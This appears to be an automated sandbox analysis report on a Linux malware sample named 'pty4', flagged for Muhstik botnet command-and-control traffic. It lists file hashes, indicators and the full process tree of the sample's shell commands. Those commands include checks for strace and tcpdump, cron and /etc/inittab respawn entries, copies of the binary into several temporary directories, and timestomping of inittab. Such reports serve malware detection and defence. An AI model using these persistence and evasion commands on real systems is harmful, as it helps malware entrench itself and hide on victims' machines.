Analysis
- max time kernel
0s - max time network
103s - platform
linux_amd64 - resource
ubuntu1804-amd64-en-20211208 - submitted
09/03/2022, 17:40
Static task
static1
Behavioral task
behavioral1
Sample
pty4
Resource
ubuntu1804-amd64-en-20211208
0 signatures
0 seconds
General
- Target pty4
- Size 43KB
- Sample220309-v8xtfseafl
- SHA256 177de2e81e59660dbbcb6c5506d22ab5ab5a5e2fe7b9d44bb83d8c2431863f23
- MD5 9a3ec09ab3ac132d5089e293e22078ff
- SHA1 a9791ba664dff0e29020532152b5573649af1c71
- SHA512 c5dc5838bf3d218f5f2557cbc16f67aeb174751f6df91b0848cd4d8164a82c2a423eec74f97a063b9aca25f3476677191ee34c437c0db1680c806d2071306381
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity
suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity
- Reads runtime system information 4 IoCs
Reads data from /proc virtual filesystem.
description ioc Process /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp - Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process /tmp/pty4 /tmp/pty4 cp /tmp/pty4 /tmp/pty4 cp /tmp/pty4 /tmp/pty4 cp /tmp/pty4 /tmp/pty4 cp
Processes
-
./pty4./pty41⤵PID:577
-
/bin/shsh -c "pidof -x strace > /dev/null"1⤵PID:578
-
/bin/pidofpidof -x strace2⤵PID:579
-
-
/bin/shsh -c "pidof -x tcpdump > /dev/null"1⤵PID:580
-
/bin/pidofpidof -x tcpdump2⤵PID:581
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty4\" > /etc/inittab2"1⤵PID:584
-
/bin/catcat /etc/inittab2⤵PID:586
-
-
/bin/grepgrep -v /tmp/pty42⤵PID:588
-
-
/bin/shsh -c "crontab -l | grep /tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty4 > /dev/null 2>&1 &\") | crontab -"1⤵PID:585
-
/bin/grepgrep /tmp/pty42⤵PID:591
-
-
/usr/bin/crontabcrontab -l2⤵PID:589
-
-
/bin/grepgrep -v "no cron"2⤵PID:592
-
-
/usr/bin/crontabcrontab -2⤵PID:596
-
-
/bin/shsh -c "crontab -r"1⤵PID:587
-
/usr/bin/crontabcrontab -r2⤵PID:590
-
-
/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty4\" >> /etc/inittab2"1⤵PID:593
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:594
-
/bin/catcat /etc/inittab22⤵PID:598
-
-
/usr/bin/crontabcrontab -l1⤵PID:597
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:599
-
/bin/rmrm -rf /etc/inittab22⤵PID:600
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:601
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:602
-
-
/bin/shsh -c "/bin/uname -n"1⤵PID:605
-
/bin/uname/bin/uname -n2⤵PID:608
-
-
/bin/shsh -c "cp -f /tmp/pty4 /dev/shm/pty4"1⤵PID:606
-
/bin/cpcp -f /tmp/pty4 /dev/shm/pty42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:611
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty4\" > /etc/inittab2"1⤵PID:614
-
/bin/grepgrep -v /dev/shm/pty42⤵PID:617
-
-
/bin/catcat /etc/inittab2⤵PID:615
-
-
/bin/shsh -c "crontab -l | grep /dev/shm/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty4 > /dev/null 2>&1 &\") | crontab -"1⤵PID:616
-
/usr/bin/crontabcrontab -l2⤵PID:618
-
-
/bin/grepgrep /dev/shm/pty42⤵PID:619
-
-
/bin/grepgrep -v "no cron"2⤵PID:621
-
-
/usr/bin/crontabcrontab -2⤵PID:624
-
-
/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty4\" >> /etc/inittab2"1⤵PID:620
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:622
-
/bin/catcat /etc/inittab22⤵PID:625
-
-
/usr/bin/crontabcrontab -l1⤵PID:626
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:627
-
/bin/rmrm -rf /etc/inittab22⤵PID:628
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:629
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:630
-
-
/bin/shsh -c "cp -f /tmp/pty4 /var/tmp/pty4"1⤵PID:631
-
/bin/cpcp -f /tmp/pty4 /var/tmp/pty42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:632
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty4\" > /etc/inittab2"1⤵PID:634
-
/bin/catcat /etc/inittab2⤵PID:636
-
-
/bin/grepgrep -v /var/tmp/pty42⤵PID:638
-
-
/bin/shsh -c "crontab -l | grep /var/tmp/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty4 > /dev/null 2>&1 &\") | crontab -"1⤵PID:635
-
/usr/bin/crontabcrontab -l2⤵PID:637
-
-
/bin/grepgrep /var/tmp/pty42⤵PID:639
-
-
/bin/grepgrep -v "no cron"2⤵PID:640
-
-
/usr/bin/crontabcrontab -2⤵PID:643
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty4\" >> /etc/inittab2"1⤵PID:641
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:644
-
/bin/catcat /etc/inittab22⤵PID:646
-
-
/usr/bin/crontabcrontab -l1⤵PID:645
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:647
-
/bin/rmrm -rf /etc/inittab22⤵PID:648
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:649
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:650
-
-
/bin/shsh -c "cp -f /tmp/pty4 /var/lock/pty4"1⤵PID:651
-
/bin/cpcp -f /tmp/pty4 /var/lock/pty42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:652
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty4\" > /etc/inittab2"1⤵PID:654
-
/bin/catcat /etc/inittab2⤵PID:655
-
-
/bin/grepgrep -v /var/lock/pty42⤵PID:657
-
-
/bin/shsh -c "crontab -l | grep /var/lock/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty4 > /dev/null 2>&1 &\") | crontab -"1⤵PID:656
-
/usr/bin/crontabcrontab -l2⤵PID:658
-
-
/bin/grepgrep /var/lock/pty42⤵PID:659
-
-
/bin/grepgrep -v "no cron"2⤵PID:660
-
-
/usr/bin/crontabcrontab -2⤵PID:664
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty4\" >> /etc/inittab2"1⤵PID:661
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:662
-
/bin/catcat /etc/inittab22⤵PID:665
-
-
/usr/bin/crontabcrontab -l1⤵PID:666
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:667
-
/bin/rmrm -rf /etc/inittab22⤵PID:668
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:669
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:670
-
-
/bin/shsh -c "cp -f /tmp/pty4 /var/run/pty4"1⤵PID:671
-
/bin/cpcp -f /tmp/pty4 /var/run/pty42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:672
-
-
/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty4\" > /etc/inittab2"1⤵PID:674
-
/bin/grepgrep -v /var/run/pty42⤵PID:677
-
-
/bin/catcat /etc/inittab2⤵PID:675
-
-
/bin/shsh -c "crontab -l | grep /var/run/pty4 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty4 > /dev/null 2>&1 &\") | crontab -"1⤵PID:676
-
/usr/bin/crontabcrontab -l2⤵PID:678
-
-
/bin/grepgrep /var/run/pty42⤵PID:679
-
-
/bin/grepgrep -v "no cron"2⤵PID:681
-
-
/usr/bin/crontabcrontab -2⤵PID:685
-
-
/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty4\" >> /etc/inittab2"1⤵PID:680
-
/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:682
-
/bin/catcat /etc/inittab22⤵PID:684
-
-
/usr/bin/crontabcrontab -l1⤵PID:686
-
/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:687
-
/bin/rmrm -rf /etc/inittab22⤵PID:688
-
-
/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:689
-
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:690
-